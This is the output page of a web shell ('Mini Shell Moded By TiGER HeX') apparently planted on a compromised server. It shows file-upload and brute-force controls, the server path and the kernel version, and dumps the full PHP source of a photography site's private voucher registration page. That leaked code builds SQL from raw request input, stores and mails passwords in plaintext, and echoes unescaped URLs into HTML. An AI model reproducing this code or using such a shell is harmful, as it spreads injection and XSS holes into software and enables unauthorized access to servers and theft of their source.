Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/voucher_down.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop.php'); if(!is_authorized()){ header("Location: login.php?refurl=".urlencode($_SERVER['REQUEST_URI'])); exit(); } if(is_banned()){ header("Location: banned.php"); exit(); } if(isset($_REQUEST['refurl'])){ $refurl = $_REQUEST['refurl']; }else{ $refurl = "/"; } if(isset($_REQUEST['register'])){ $email = $_REQUEST['email']; $url = $_REQUEST['website']; $uname = strip_tags(trim($_REQUEST['username'])); $password = $_REQUEST['password']; $profile = get_html_text($_REQUEST['profile']); $ip = get_client_ip(); $cur_file = $_FILES['file']['name']; $cur_temp = $_FILES['file']['tmp_name']; $cur_mime = $_FILES['file']['type']; $cur_size = $_FILES['file']['size']; $cur_error = $_FILES['file']['error']; $unique = true; //first check for unique name $sql = "SELECT user_id FROM 50mm_users WHERE username ='$uname'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } if($db->sql_numrows($result) > 0){ $unique = false; } $sql = "SELECT user_id FROM 50mm_users WHERE email ='$email'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } if($db->sql_numrows($result) > 0){ $unique = false; } if($unique){ //username is unique so add this user //store profile image on the server $unique_name = ""; $valid = validate_content($cur_error,$cur_mime,$cur_size,$cur_file,PROFILE_MAX_KB); if($valid['result']){ $type = explode("/",$cur_mime); $cur_type = trim($type[0]); $unique_name = get_unique_filename($cur_file); $image_info = getimagesize($cur_temp); //check to see if image needs resizing if(($image_info[0] > PROFILE_IMG_WIDTH) || ($image_info[1] > PROFILE_IMG_HEIGHT)){ //create image res $gd = new gd_img($cur_mime,$cur_temp); if(!$gd->img_id){ die($gd->gd_error);} //scale image $id = $gd->gd_scale_img(PROFILE_IMG_WIDTH,PROFILE_IMG_WIDTH,IMG_QUALITY); if(!$id){ die($gd->gd_error);} //create image $res = $gd->gd_create_img($id,ROOT_DIR.PROFILE_IMG_DIR.$unique_name); if(!$res){ die($gd->gd_error);} }else{ if (!copy($cur_temp, ROOT_DIR.PROFILE_IMG_DIR.$unique_name)) { die("Failed Image Upload"); } } } $sql = "INSERT INTO 50mm_users (user_type,email,username,password,image,profile,url,ip,verified,entry_time) VALUES ('WEB','$email','$uname','$password','$unique_name','$profile','$url','$ip',1,NOW())"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $sql = "SELECT LAST_INSERT_ID() AS user_id"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $uid = $row['user_id']; //send email $query = "uid=$uid&uname=$uname&refurl=$refurl"; $link = ROOT_URL."/login.php?id=".base64_encode($query); $link = "<a href=\"$link\">$link</a>"; $body = "Please click the link below to complete registration for ".SITE_TITLE."<br><BR>Depending on your email program, you may need to COPY and paste the ENTIRE link into a new browser window.<br><br>"; $body.= "Username: ".$uname."<br>"; $body.= "Password: ".$password."<br>"; $body.= $link; $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "To: ".$email." <".$email.">\n"; $headers .= "From: ".SITE_TITLE." <".ADMIN_EMAIL.">\r\n"; $mresult = mail($email,SITE_TITLE,$body,$headers); if(!$mresult){ die("Location: voucher.php"); } $vendor_headers = "From: ".SITE_TITLE." <".ADMIN_EMAIL.">\r\n"; $vendor_register = "voucher@50mmlosangeles.com"; mail($vendor_register,$_SESSION['username'],$body,$vendor_headers); header("Location: regSuccess.php"); exit(); }else{ session_write_close(); $url = append_query($_SERVER['PHP_SELF'],"errorCode",1); $url = append_query($url,"refurl",$refurl); header("Location: $url"); exit(); } } $pg_name = basename($_SERVER['PHP_SELF']); include_once('includes/header.php'); $err = ""; if(isset($_REQUEST['errorCode'])){ $errorCode = $_REQUEST['errorCode']; if($errorCode == 1){ $err ="<div class=\"error\">That username or email is already in our records. Please try another one.</div>"; } } ?> <script>registerDivs = new Array('username','email','password');</script> <form action="<?echo $_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data" onSubmit="return validateForm(this,registerDivs,'errorRegister');"> <table cellspacing="0" cellpadding="4" border="0"> <tr> <td colspan="2" width="500"><span class="title">50mm Los Angeles Voucher program.</span><br><br><span class="body"> Using this page, you may register any person that you feel will contribute to the 50mm Los Angeles website in a positive manor. Please do not give this page address out to ANYONE. Thanks!<BR><BR></span></td> </tr> <tr> <td align="right">Valid Email Address:<span id="erremail" class="error" style="visibility:hidden;"> *</span></td> <td><input type="text" name="email" value="" class="field" maxlength="120"></td> </tr> <tr> <td align="right">Your Username:<span id="errusername" class="error" style="visibility:hidden;"> *</span></td> <td><input type="text" name="username" value="" class="field" maxlength="30"></td> </tr> <tr> <td align="right">Choose a Password:<span id="errpassword" class="error" style="visibility:hidden;"> *</span></td> <td><input type="password" name="password" value="" class="field" maxlength="30"></td> </tr> <tr> <td align="right">Website:<em>(optional)</em></td> <td><input type="text" name="website" value="http://" class="field"></td> </tr> <tr> <td align="right">Your Profile Image:<em>(optional)</em></td> <td><input type="file" name="file" class="field"></td> </tr> <tr valign="top"> <td align="right">Manifesto:<em>(optional)</em></td> <td><textarea class="body" name="profile" style="width: 400px; height: 200px;"></textarea></td> </tr> <tr> <td> </td> <td width="400"><br><span class="title">This person's registration will be attributed to: <?echo $_SESSION['username'] ?>.</span> <BR><br><input name="register" type="submit" class="button" value="Register"><br> <?echo $err?> <div id="errorRegister" class="error" style="visibility:hidden;">Please correct the fields marked by *</div> </td> </tr> </table> <input name="refurl" value="<?echo $refurl?>" type="hidden"> </form> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>